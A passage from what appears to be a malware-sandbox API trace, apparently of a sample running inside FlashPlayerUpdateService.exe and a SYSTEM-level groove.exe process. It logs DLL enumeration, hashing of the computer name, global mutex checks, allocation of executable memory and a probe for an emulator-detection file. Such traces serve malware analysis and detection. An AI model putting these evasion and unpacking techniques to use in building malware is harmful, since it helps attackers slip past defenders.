lpUsedDefaultChar=0x0) returned 12 [0194.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDACLSYS.DLL", lpUsedDefaultChar=0x0) returned 12 [0194.172] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb2e5d95, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xfb2e5d95, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x87a5b910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="DDOIProxy.dll", cAlternateFileName="")) returned 1 [0194.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0194.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0xd3c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDOIPROXY.DLL", lpUsedDefaultChar=0x0) returned 13 [0194.172] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff187ed0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xff187ed0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x88511440, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fce00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="DDORes.dll", cAlternateFileName="")) returned 1 [0194.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0194.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0xd3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDORES.DLL", lpUsedDefaultChar=0x0) returned 10 [0194.172] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e74d256, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8e74d256, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x885f4510, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x81e00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="ddraw.dll", cAlternateFileName="")) returned 1 [0194.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0194.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0xd3c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAW.DLL", lpUsedDefaultChar=0x0) returned 9 [0194.173] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95b0bd0c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x95b0bd0c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x88642710, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="ddrawex.dll", cAlternateFileName="")) returned 1 [0194.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0194.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAWEX.DLL", lpUsedDefaultChar=0x0) returned 11 [0194.173] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1ba2bbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1ba2bbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1bc8d1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35e00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="defaultlocationcpl.dll", cAlternateFileName="")) returned 1 [0194.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0194.173] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0xd3c288, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEFAULTLOCATIONCPL.DLL", lpUsedDefaultChar=0x0) returned 22 [0194.173] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1326ca, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4e1326ca, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x887257e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="deskadp.dll", cAlternateFileName="")) returned 1 [0194.175] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x19ffc88 | out: BaseAddress=0x19ffc88*=0x75cf0000) returned 0x0 [0194.179] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0194.179] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0194.179] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e840) returned 1 [0194.179] FindClose (in: hFindFile=0x3cfeb0 | out: hFindFile=0x3cfeb0) returned 1 [0194.179] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e268) returned 1 [0194.179] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x184) returned 0xdd7cf8 [0194.179] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0194.179] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0194.179] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c240 [0194.179] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0194.179] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c900 [0194.179] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c948 [0194.179] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c990 [0194.179] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c9d8 [0194.179] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3ca20 [0194.179] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3ca68 [0194.179] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3cab0 [0194.179] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3caf8 [0194.179] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3cb40 [0194.179] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3cb88 [0194.179] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3cbd0 [0194.179] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xdd7ea0 [0194.180] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe", pNumArgs=0x19ffcb4 | out: pNumArgs=0x19ffcb4) returned 0x3e8400*="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" [0194.180] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x10) returned 0xd3d5e8 [0194.180] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d288 [0194.180] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e268 [0194.180] LocalFree (hMem=0x3e8400) returned 0x0 [0194.180] Wow64DisableWow64FsRedirection (in: OldValue=0x19ffcb0 | out: OldValue=0x19ffcb0*=0x0) returned 1 [0194.180] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x800) returned 0xdd8e88 [0194.180] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xdd8e88, nSize=0x200 | out: lpFilename="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe")) returned 0x3f [0194.180] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e840 [0194.180] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0194.180] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e840) returned 1 [0194.180] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0194.180] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0194.180] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x100) returned 0xdd9690 [0194.180] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0xdd9690, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0194.180] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd9690) returned 1 [0194.180] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0194.180] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0194.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0194.180] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xdd7ee8 [0194.180] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0xdd7ee8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0194.180] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xdd7f30 [0194.180] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd7ee8) returned 1 [0194.180] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0194.180] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xdd7ee8 [0194.180] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xdd7f78 [0194.180] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xdd7fc0 [0194.180] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xdd8008 [0194.180] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xdd8050 [0194.180] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xdd8098 [0194.180] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x5000) returned 0xdd2850 [0194.180] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xdd80e0 [0194.181] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd80e0) returned 1 [0194.181] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0194.181] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd2850) returned 1 [0194.181] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x3c8668, lpbSaclPresent=0x19ffae4, pSacl=0x19ffb38, lpbSaclDefaulted=0x19ffae4 | out: lpbSaclPresent=0x19ffae4, pSacl=0x19ffb38, lpbSaclDefaulted=0x19ffae4) returned 1 [0194.181] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xdd80e0 [0194.181] CreateEventA (lpEventAttributes=0x19ffb2c, bManualReset=1, bInitialState=0, lpName="") returned 0x10c [0194.181] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd80e0) returned 1 [0194.181] GetLastError () returned 0x0 [0194.181] LocalFree (hMem=0x3c8668) returned 0x0 [0194.181] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xdd80e0 [0194.181] CryptAcquireContextW (in: phProv=0x19ffb1c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x19ffb1c*=0x3e8800) returned 1 [0194.182] CryptCreateHash (in: hProv=0x3e8800, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x19ffb1c | out: phHash=0x19ffb1c) returned 1 [0194.182] CryptHashData (hHash=0x3cfeb0, pbData=0xdd7f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0194.182] CryptGetHashParam (in: hHash=0x3cfeb0, dwParam=0x4, pbData=0x19ffb20, pdwDataLen=0x19ffb2c, dwFlags=0x0 | out: pbData=0x19ffb20, pdwDataLen=0x19ffb2c) returned 1 [0194.182] CryptGetHashParam (in: hHash=0x3cfeb0, dwParam=0x2, pbData=0xdd80e0, pdwDataLen=0x19ffb20, dwFlags=0x0 | out: pbData=0xdd80e0, pdwDataLen=0x19ffb20) returned 1 [0194.182] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xdd8128 [0194.182] CryptDestroyHash (hHash=0x3cfeb0) returned 1 [0194.182] CryptReleaseContext (hProv=0x3e8800, dwFlags=0x0) returned 1 [0194.182] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd80e0) returned 1 [0194.183] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xdd80e0 [0194.183] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xdd8170 [0194.183] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd80e0) returned 1 [0194.183] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xdd80e0 [0194.183] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd80e0) returned 1 [0194.183] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd8170) returned 1 [0194.183] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd8128) returned 1 [0194.183] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xdd8128 [0194.183] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x124 [0194.183] GetLastError () returned 0x0 [0194.183] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xdd8170 [0194.183] CryptAcquireContextW (in: phProv=0x19ffb1c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x19ffb1c*=0x3e8800) returned 1 [0194.184] CryptCreateHash (in: hProv=0x3e8800, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x19ffb1c | out: phHash=0x19ffb1c) returned 1 [0194.184] CryptHashData (hHash=0x3cfeb0, pbData=0xdd7f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0194.184] CryptGetHashParam (in: hHash=0x3cfeb0, dwParam=0x4, pbData=0x19ffb20, pdwDataLen=0x19ffb2c, dwFlags=0x0 | out: pbData=0x19ffb20, pdwDataLen=0x19ffb2c) returned 1 [0194.184] CryptGetHashParam (in: hHash=0x3cfeb0, dwParam=0x2, pbData=0xdd8170, pdwDataLen=0x19ffb20, dwFlags=0x0 | out: pbData=0xdd8170, pdwDataLen=0x19ffb20) returned 1 [0194.184] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xdd80e0 [0194.184] CryptDestroyHash (hHash=0x3cfeb0) returned 1 [0194.184] CryptReleaseContext (hProv=0x3e8800, dwFlags=0x0) returned 1 [0194.184] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd8170) returned 1 [0194.184] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xdd8170 [0194.184] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xdd81b8 [0194.184] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd8170) returned 1 [0194.184] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xdd8170 [0194.184] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd8170) returned 1 [0194.184] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd81b8) returned 1 [0194.184] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd80e0) returned 1 [0194.184] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xdd80e0 [0194.184] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xdd81b8 [0194.184] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0194.184] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd81b8) returned 1 [0194.184] GetLastError () returned 0x5 [0194.184] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xdd81b8 [0194.184] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0194.184] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd81b8) returned 1 [0194.184] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xdd81b8 [0194.184] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x128 [0194.184] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xdd81b8) returned 1 [0194.184] SetEvent (hEvent=0x124) returned 1 [0194.185] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) Thread: id = 1055 os_tid = 0x93c Process: id = "84" image_name = "groove.exe" filename = "c:\\program files\\microsoft office\\office14\\groove.exe" page_root = "0x796ca000" os_pid = "0x434" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 856 os_tid = 0x788 [0205.013] GetTimeZoneInformation (in: lpTimeZoneInformation=0x3efbb0 | out: lpTimeZoneInformation=0x3efbb0) returned 0x2 [0205.016] GetCurrentProcess () returned 0xffffffff [0205.016] GetExitCodeProcess (in: hProcess=0xffffffff, lpExitCode=0x3efb9c | out: lpExitCode=0x3efb9c*=0x103) returned 1 [0205.016] GetForegroundWindow () returned 0x0 [0205.017] GetCaretBlinkTime () returned 0x1f4 [0205.017] GetFileType (hFile=0xf710cd) returned 0x0 [0205.017] GetConsoleProcessList (in: lpdwProcessList=0x3efc5c, dwProcessCount=0x1 | out: lpdwProcessList=0x3efc5c) returned 0x0 [0205.017] VarCyFromUI8 (in: ui64In=0xdf39010a, pcyOut=0x3efb68 | out: pcyOut=0x3efb68) returned 0x0 [0205.018] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0205.018] GetCommState (in: hFile=0x3b268c, lpDCB=0x3ef9d0 | out: lpDCB=0x3ef9d0) returned 0 [0205.018] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x3ef9cc, pmr=0x3ef9b8, cht=0x353) returned 0 [0205.019] CloseClipboard () returned 0 [0205.019] CoUninitialize () [0205.019] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0205.019] ReleaseMutex (hMutex=0xa0) returned 0 [0205.019] CloseHandle (hObject=0xa0) returned 1 [0205.019] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0205.019] GetCommState (in: hFile=0x3b268c, lpDCB=0x3ef9d0 | out: lpDCB=0x3ef9d0) returned 0 [0205.019] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x3ef9cc, pmr=0x3ef9b8, cht=0x353) returned 0 [0205.019] CloseClipboard () returned 0 [0205.019] CoUninitialize () [0205.019] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0205.019] ReleaseMutex (hMutex=0xa0) returned 0 [0205.019] CloseHandle (hObject=0xa0) returned 1 [0205.019] GetLocalTime (in: lpSystemTime=0x3efc6c | out: lpSystemTime=0x3efc6c*(wYear=0x7e3, wMonth=0xb, wDayOfWeek=0x5, wDay=0x8, wHour=0x5, wMinute=0x18, wSecond=0x11, wMilliseconds=0xfc)) [0205.020] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x3ef6ec | out: ProcedureAddress=0x3ef6ec*=0x77011856) returned 0x0 [0205.020] VirtualAlloc (lpAddress=0x0, dwSize=0x16000, flAllocationType=0x1000, flProtect=0x4) returned 0x100000 [0205.181] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x3ef6ec | out: ProcedureAddress=0x3ef6ec*=0x77011856) returned 0x0 [0205.181] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0xd0000 [0205.182] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x3ef784 | out: ProcedureAddress=0x3ef784*=0x770149d7) returned 0x0 [0205.182] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x3ef784 | out: ProcedureAddress=0x3ef784*=0x77011222) returned 0x0 [0205.182] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x3ef784 | out: ProcedureAddress=0x3ef784*=0x77011856) returned 0x0 [0205.182] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x3ef784 | out: ProcedureAddress=0x3ef784*=0x7701435f) returned 0x0 [0205.182] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0205.182] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0205.182] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0205.182] VirtualProtect (in: lpAddress=0xb00000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x3ef838 | out: lpflOldProtect=0x3ef838*=0x2) returned 1 [0205.195] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x120000 [0205.197] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0205.197] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0205.197] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0205.197] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0205.958] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.008] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0xa50000 [0206.019] RtlAllocateHeap (HeapHandle=0xa50000, Flags=0x8, Size=0x104) returned 0xa507d0 [0206.019] RtlAllocateHeap (HeapHandle=0xa50000, Flags=0x8, Size=0x80) returned 0xa508e0 [0206.019] RtlAllocateHeap (HeapHandle=0xa50000, Flags=0x8, Size=0x80) returned 0xa50968 [0206.019] RtlAllocateHeap (HeapHandle=0xa50000, Flags=0x8, Size=0x80) returned 0xa509f0 [0206.019] RtlAllocateHeap (HeapHandle=0xa50000, Flags=0x8, Size=0x80) returned 0xa50a78 [0206.019] RtlAllocateHeap (HeapHandle=0xa50000, Flags=0x8, Size=0x80) returned 0xa50b00 [0206.019] RtlAllocateHeap (HeapHandle=0xa50000, Flags=0x8, Size=0x80) returned 0xa50b88 [0206.019] RtlAllocateHeap (HeapHandle=0xa50000, Flags=0x8, Size=0x80) returned 0xa50c10 [0206.019] RtlAllocateHeap (HeapHandle=0xa50000, Flags=0x8, Size=0x80) returned 0xa50c98 [0206.019] RtlAllocateHeap (HeapHandle=0xa50000, Flags=0x8, Size=0x80) returned 0xa50d20 [0206.019] RtlAllocateHeap (HeapHandle=0xa50000, Flags=0x8, Size=0x80) returned 0xa50da8 [0206.019] RtlAllocateHeap (HeapHandle=0xa50000, Flags=0x8, Size=0x80) returned 0xa50e30 [0206.019] RtlAllocateHeap (HeapHandle=0xa50000, Flags=0x8, Size=0x80) returned 0xa50eb8 [0206.019] RtlAllocateHeap (HeapHandle=0xa50000, Flags=0x8, Size=0x80) returned 0xa50f40 [0206.019] RtlAllocateHeap (HeapHandle=0xa50000, Flags=0x8, Size=0x80) returned 0xa50fc8 [0206.019] RtlAllocateHeap (HeapHandle=0xa50000, Flags=0x8, Size=0x80) returned 0xa51050 [0206.019] RtlAllocateHeap (HeapHandle=0xa50000, Flags=0x8, Size=0x80) returned 0xa510d8 [0206.019] RtlAllocateHeap (HeapHandle=0xa50000, Flags=0x8, Size=0x400) returned 0xa51160 [0206.019] RtlCreateHeap (Flags=0x2, HeapBase=0x0, 